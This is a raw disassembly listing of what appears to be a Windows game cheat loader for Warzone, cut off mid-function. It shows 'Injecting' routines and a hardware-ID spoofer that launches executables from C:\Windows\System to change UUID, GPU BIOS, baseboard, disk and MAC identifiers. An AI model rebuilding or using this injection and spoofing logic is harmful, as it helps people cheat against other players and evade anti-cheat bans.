call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm7
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x108]
call fcn.140001000
mov rcx, rax
lea rdx, str.4_Days_Ago
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Version:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
mov edx, 0xdc
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x118]
call fcn.1400427a0
lea rdx, [0x140090c54]
jmp 0x140045c65
cmp ebx, 3
jne 0x140045c7b
mov r8b, 1
lea edx, [rbx - 2]
lea rcx, str.____Warzone_Status:____
call fcn.140042cb0
lea rcx, str.Status:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0x128]
call fcn.140001000
mov rcx, rax
lea rdx, str.Online
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Web:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm6
movaps xmm1, xmm7
lea rcx, [rbp + 0x138]
call fcn.140001000
mov rcx, rax
lea rdx, str.Offline
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Last_Update:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm7
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x148]
call fcn.140001000
mov rcx, rax
lea rdx, str.5_Days_Ago
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Version:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
mov edx, 0xdc
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x158]
call fcn.1400427a0
lea rdx, [0x140090c7c]
movups xmm3, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm3
lea rcx, [rbp + 0x2c0]
call fcn.140039cb0
call fcn.14000ac70
mov ecx, 1
call fcn.140003350
mov ecx, 1
call fcn.1400034b0
test ebx, ebx
jne 0x140045d1d
cmp byte [0x1400abac9], bl
je 0x140045ea5
movaps xmm0, xmm12
call fcn.140011ca0
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0x168]
call fcn.140001000
mov rdx, rax
xor ecx, ecx
call fcn.1400032f0
xor r8d, r8d
xor edx, edx
lea rcx, str.Injecting_Please_Wait...
call fcn.140042cb0
lea ecx, [rbx + 1]
call fcn.140003350
movss xmm2, dword [0x1400abb38]
cvtps2pd xmm2, xmm2
mov rax, qword [0x1400abad0]
movsd xmm1, qword [rax + 0x1c88]
subsd xmm1, xmm2
comisd xmm1, xmm13
jae 0x140045e9e
jmp 0x140045ea5
cmp ebx, 1
jne 0x140045da7
cmp byte [0x1400abac9], 0
je 0x140045ea5
movaps xmm0, xmm12
call fcn.140011ca0
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0x178]
call fcn.140001000
mov rdx, rax
xor ecx, ecx
call fcn.1400032f0
xor r8d, r8d
xor edx, edx
lea rcx, str.Injecting_Please_Wait...
call fcn.140042cb0
mov ecx, ebx
call fcn.140003350
movss xmm2, dword [0x1400abb38]
cvtps2pd xmm2, xmm2
mov rax, qword [0x1400abad0]
movsd xmm1, qword [rax + 0x1c88]
subsd xmm1, xmm2
comisd xmm1, xmm13
jae 0x140045e9e
jmp 0x140045ea5
cmp ebx, 2
jne 0x140045e27
cmp byte [0x1400abac9], 0
je 0x140045ea5
movaps xmm0, xmm12
call fcn.140011ca0
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0x188]
call fcn.140001000
mov rdx, rax
xor ecx, ecx
call fcn.1400032f0
xor r8d, r8d
xor edx, edx
lea rcx, str.Injecting_Please_Wait...
call fcn.140042cb0
lea ecx, [rbx - 1]
call fcn.140003350
movss xmm2, dword [0x1400abb38]
cvtps2pd xmm2, xmm2
mov rax, qword [0x1400abad0]
movsd xmm1, qword [rax + 0x1c88]
subsd xmm1, xmm2
comisd xmm1, xmm13
jae 0x140045e9e
jmp 0x140045ea5
cmp ebx, 3
jne 0x140045ea5
cmp byte [0x1400abac9], 0
je 0x140045ea5
movaps xmm0, xmm12
call fcn.140011ca0
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0x18]
call fcn.140001000
mov rdx, rax
xor ecx, ecx
call fcn.1400032f0
xor r8d, r8d
xor edx, edx
lea rcx, str.Injecting_Please_Wait...
call fcn.140042cb0
lea ecx, [rbx - 2]
call fcn.140003350
movss xmm2, dword [0x1400abb38]
cvtps2pd xmm2, xmm2
mov rax, qword [0x1400abad0]
movsd xmm1, qword [rax + 0x1c88]
subsd xmm1, xmm2
comisd xmm1, xmm13
jb 0x140045ea5
mov byte [0x1400abac9], 0
call fcn.14000ac70
call fcn.14000ac70
call fcn.140011fa0
call fcn.140042f70
movss dword [rbp - 8], xmm0
mov dword [rbp - 4], 0x42040000
mov rax, qword [0x1400abc20]
movsxd rsi, dword [rax + 0x20]
shl rsi, 5
add rsi, qword [rax + 8]
mov r15, qword [rsi + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 7
jb 0x140047058
cmp qword [rsi + 0x18], 0xf
jbe 0x140045f00
mov rsi, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], r12
lea r14, [r15 + 7]
mov ebx, 0xf
lea rdi, [rbp + 0x2c0]
cmp r14, rbx
jbe 0x140045fab
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140045f4c
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140045f73
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140045f92
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004705e
mov rcx, rax
call fcn.1400482b4
test rax, rax
je 0x1400464b2
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140045fa4
test rcx, rcx
je 0x140045fa1
call fcn.1400482b4
mov rdi, rax
jmp 0x140045fa4
mov rdi, r12
mov qword [rbp + 0x2c0], rdi
mov qword [rbp + 0x2d0], r14
mov qword [rbp + 0x2d8], rbx
mov rax, qword [str.Inject]
mov dword [rdi], eax
movzx eax, word [0x140090ca4]
mov word [rdi + 4], ax
movzx eax, byte [0x140090ca6]
mov byte [rdi + 6], al
lea rcx, [rdi + 7]
mov r8, r15
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
lea rcx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 0xf
cmova rcx, qword [rbp + 0x2c0]
lea rdx, [rbp - 8]
call fcn.14003a670
movzx ebx, al
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0xf
jbe 0x14004604f
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004604a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400464b2
call fcn.1400480c0
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], 0xf
mov byte [rbp + 0x2c0], 0
lea r15, [0x1400abb28]
test bl, bl
je 0x14004625e
mov byte [0x1400abac9], 1
mov rax, qword [0x1400abad0]
movsd xmm0, qword [rax + 0x1c88]
cvtpd2ps xmm0, xmm0
movss dword [0x1400abb38], xmm0
jmp 0x14004625e
mov r8b, 1
mov edx, 1
lea rcx, str.Woofer
call fcn.140042cb0
call fcn.14003c720
lea rdx, [0x1400abbb1]
lea rcx, str.UUID
call fcn.14003c040
lea rdx, [0x1400abbb6]
lea rcx, [0x140090a4c]
call fcn.14003c040
lea rdx, [0x1400abbb2]
lea rcx, str.GPU_Bios
call fcn.14003c040
lea rdx, [0x1400abbb5]
lea rcx, str.Basebord
call fcn.14003c040
lea rdx, [0x1400abbb3]
lea rcx, str.Disk
call fcn.14003c040
lea rdx, [0x1400abbb4]
lea rcx, [0x140090a74]
call fcn.14003c040
mov qword [rbp], 0
lea rdx, [rbp]
lea rcx, str.Spoof
call fcn.14003a9c0
test al, al
je 0x140046204
cmp byte [0x1400abbb1], 1
jne 0x14004616a
lea rcx, str.start_C:WindowsSystemuuidauto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1400abbb6], 1
jne 0x14004618b
lea rcx, str.start_C:WindowsSystem_asuscpu.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1400abbb2], 1
jne 0x1400461ac
lea rcx, str.start_C:WindowsSystem_bios_gpu.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1400abbb5], 1
jne 0x1400461cd
lea rcx, str.start_C:WindowsSystemBasebord.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1400abbb3], 1
jne 0x1400461ee
lea rcx, str.start_C:WindowsSystemdiskvolume.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1400abbb4], 1
jne 0x140046204
lea rcx, str.start_C:WindowsSystemmacchanger.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movss dword [rsp + 0x20], xmm15
movaps xmm3, xmm7
movaps xmm2, xmm6
movaps xmm1, xmm9
lea rcx, [rbp + 0x28]
call fcn.140001000
mov rdx, rax
mov ecx, 5
call fcn.1400032f0
movss xmm1, dword [0x14009116c]
mov ecx, 6
call fcn.1400033a0
movss xmm0, dword [0x1400911f8]
call fcn.140011c50
mov ecx, 1
call fcn.1400034b0
mov ecx, 1
call fcn.140003350
call fcn.14000ac70
call fcn.140010d20
mov rcx, qword [0x1400abad0]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r9, [rax + rax*2]
lea rdi, [0x140000000]
mov r10d, dword [rdi + r9*4 + 0x4acd8]
cmp dword [rdi + r9*4 + 0x4acd0], 8
jne 0x1400462df
mov eax, dword [rdi + r9*4 + 0x4acd4]
cmp eax, 1
jne 0x1400462c0
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r10 + rcx + 0x1638], eax
jmp 0x1400462df
cmp eax, 2
jne 0x1400462df
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r10 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r10 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.1400098b0
mov rcx, qword [0x1400abb20]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r12d
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], r12d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x1400abb20]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140046368
call fcn.140009d80
mov rax, qword [0x1400abad0]
mov rax, qword [rax + 0x1ef8]
mov rcx, qword [rax]
add rcx, 0xa8
mov rax, r12
cmp byte [rcx], r12b
cmovne rax, rcx
mov rcx, rax
call fcn.1400353d0
mov rcx, qword [0x1400abb20]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [r13 + 8], 0x400
je 0x14004644a
call fcn.140019d80
mov rbx, qword [0x1400abad0]
mov r14d, 1
mov eax, dword [rbx + 0x1628]
cmp eax, r14d
jle 0x1400463ec
mov esi, 8
nop dword [rax + rax]
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x1400463da
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x1400463c7
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x1400463da
xor edx, edx
mov rcx, rdi
call rax
inc r14d
add rsi, 8
mov eax, dword [rbx + 0x1628]
cmp r14d, eax
jl 0x1400463a0
mov r14d, 1
cmp eax, r14d
jle 0x14004644a
mov esi, 8
nop dword [rax]
mov rax, qword [rbx + 0x1630]
mov rdi, qword [rsi + rax]
test dword [rdi + 4], 0x400
jne 0x14004643a
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x140046427
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x14004643a
xor edx, edx
mov rcx, rdi
call rax
inc r14d
add rsi, 8
cmp r14d, dword [rbx + 0x1628]
jl 0x140046400
mov rcx, qword [0x1400abb20]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140046487
mov rcx, qword [0x1400abb20]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x140046487
call fcn.140043150
cmp byte [0x14009a3a8], 0
je 0x1400464c2
lea rsi, [0x1400abc30]
lea r14, [0x1400abc40]
mov edi, 4
cmp dword [rbp + 0x6e0], 0x12
jne 0x140044d00
jmp 0x1400464cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rbp + 0x6e0], 0x12
call fcn.14001a360
call fcn.140035db0
mov rcx, qword [0x1400abba0]
test rcx, rcx
je 0x1400464ef
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400abba0], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [0x1400abbb8]
test rcx, rcx
je 0x140046519
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x1400abbb8], r12
mov qword [0x1400abbc0], r12
mov qword [0x1400abbc8], r12
mov qword [0x1400abbd0], r12
mov qword [0x1400abbd8], r12
mov qword [0x1400abbe0], r12
mov dword [0x1400ab400], 9
mov byte [0x1400abbb0], 0
mov byte [0x1400ab247], 1
mov rbx, qword [0x1400abad0]
mov rcx, rbx
call fcn.1400087f0
cmp qword [0x1400abad0], rbx
jne 0x14004657a
mov qword [0x1400abad0], r12
test rbx, rbx
je 0x1400465a2
mov rcx, rbx
call fcn.140024320
mov rax, qword [0x1400abad0]
test rax, rax
je 0x140046599
dec dword [rax + 0x3b0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x1400abb20]
test rcx, rcx
je 0x1400465bb
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400abb20], r12
mov rcx, qword [0x1400abb40]
test rcx, rcx
je 0x1400465d4
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400abb40], r12
mov rdx, qword [rbp + 0x2f8]
mov rcx, qword [rbp + 0x320]
call qword [sym.imp.USER32.dll_UnregisterClassA]
nop
mov rdx, qword [rbp + 0x690]
cmp rdx, 0xf
jbe 0x14004662d
inc rdx
mov rcx, qword [rbp + 0x678]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046628
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046628
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
movdqa xmm0, xmmword [0x140091290]
movdqu xmmword [rbp + 0x688], xmm0
mov byte [rbp + 0x678], 0
mov rdx, qword [rbp + 0x6b0]
cmp rdx, 0xf
jbe 0x140046688
inc rdx
mov rcx, qword [rbp + 0x698]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046683
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046683
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
movdqa xmm0, xmmword [0x140091290]
movdqu xmmword [rbp + 0x6a8], xmm0
mov byte [rbp + 0x698], 0
mov rdx, qword [rbp + 0x650]
cmp rdx, 0xf
jbe 0x1400466e3
inc rdx
mov rcx, qword [rbp + 0x638]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400466de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400466de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
movdqa xmm0, xmmword [0x140091290]
movdqu xmmword [rbp + 0x648], xmm0
mov byte [rbp + 0x638], 0
mov rdx, qword [rbp + 0x6d0]
cmp rdx, 0xf
jbe 0x14004673e
inc rdx
mov rcx, qword [rbp + 0x6b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046739
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046739
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
movdqa xmm0, xmmword [0x140091290]
movdqu xmmword [rbp + 0x6c8], xmm0
mov byte [rbp + 0x6b8], 0
mov rdx, qword [rbp + 0x670]
cmp rdx, 0xf
jbe 0x140046799
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046794
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046794
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
movdqa xmm0, xmmword [0x140091290]
movdqu xmmword [rbp + 0x668], xmm0
mov byte [rbp + 0x658], 0
mov rdx, qword [rbp + 0x468]
cmp rdx, 0xf
jbe 0x1400467f4
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400467ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400467ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x460], r12
mov qword [rbp + 0x468], 0xf
mov byte [rbp + 0x450], 0
mov rdx, qword [rbp + 0x590]
cmp rdx, 0xf
jbe 0x140046851
inc rdx
mov rcx, qword [rbp + 0x578]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004684c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004684c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x588], r12
mov qword [rbp + 0x590], 0xf
mov byte [rbp + 0x578], 0
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x1400468ae
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400468a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400468a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x340], r12
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x570]
cmp rdx, 0xf
jbe 0x14004690b
inc rdx
mov rcx, qword [rbp + 0x558]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046906
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046906
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x568], r12
mov qword [rbp + 0x570], 0xf
mov byte [rbp + 0x558], 0
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x140046968
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046963
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046963
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], 0
mov rdx, qword [rbp + 0x488]
cmp rdx, 0xf
jbe 0x1400469c5
inc rdx
mov rcx, qword [rbp + 0x470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400469c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400469c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x480], r12
mov qword [rbp + 0x488], 0xf
mov byte [rbp + 0x470], 0
mov rdx, qword [rbp + 0x630]
cmp rdx, 0xf
jbe 0x140046a22
inc rdx
mov rcx, qword [rbp + 0x618]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046a1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046a1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
movdqa xmm0, xmmword [0x140091290]
movdqu xmmword [rbp + 0x628], xmm0
mov byte [rbp + 0x618], 0
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140046a7d
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046a78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046a78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x140046ada
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046ad5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046ad5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x380], r12
mov qword [rbp + 0x388], 0xf
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp + 0x4a8]
cmp rdx, 0xf
jbe 0x140046b37
inc rdx
mov rcx, qword [rbp + 0x490]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046b32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046b32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x4a0], r12
mov qword [rbp + 0x4a8], 0xf
mov byte [rbp + 0x490], 0
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x140046b94
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046b8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046b8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x3a0], r12
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0xf
jbe 0x140046bf1
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046bec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046bec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x4c0], r12
mov qword [rbp + 0x4c8], 0xf
mov byte [rbp + 0x4b0], 0
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x140046c4e
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046c49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046c49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x3c0], r12
mov qword [rbp + 0x3c8], 0xf
mov byte [rbp + 0x3b0], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140046cab
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046ca6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046ca6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x4e0], r12
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 0xf
jbe 0x140046d08
inc rdx
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046d03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046d03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x3e0], r12
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], 0
mov rdx, qword [rbp + 0x508]
cmp rdx, 0xf
jbe 0x140046d65
inc rdx
mov rcx, qword [rbp + 0x4f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046d60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046d60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x500], r12
mov qword [rbp + 0x508], 0xf
mov byte [rbp + 0x4f0], 0
mov rdx, qword [rbp + 0x408]
cmp rdx, 0xf
jbe 0x140046dc2
inc rdx
mov rcx, qword [rbp + 0x3f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046dbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046dbd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400480c0
mov qword [rbp + 0x400], r12
mov qword [rbp + 0x408], 0xf
mov byte [rbp + 0x3f0], 0
mov rdx, qword [rbp + 0x5e0]
cmp rdx, 0xf
jbe 0x140046e1f
inc rdx
mov rcx, qword [rbp + 0x5c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046e1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
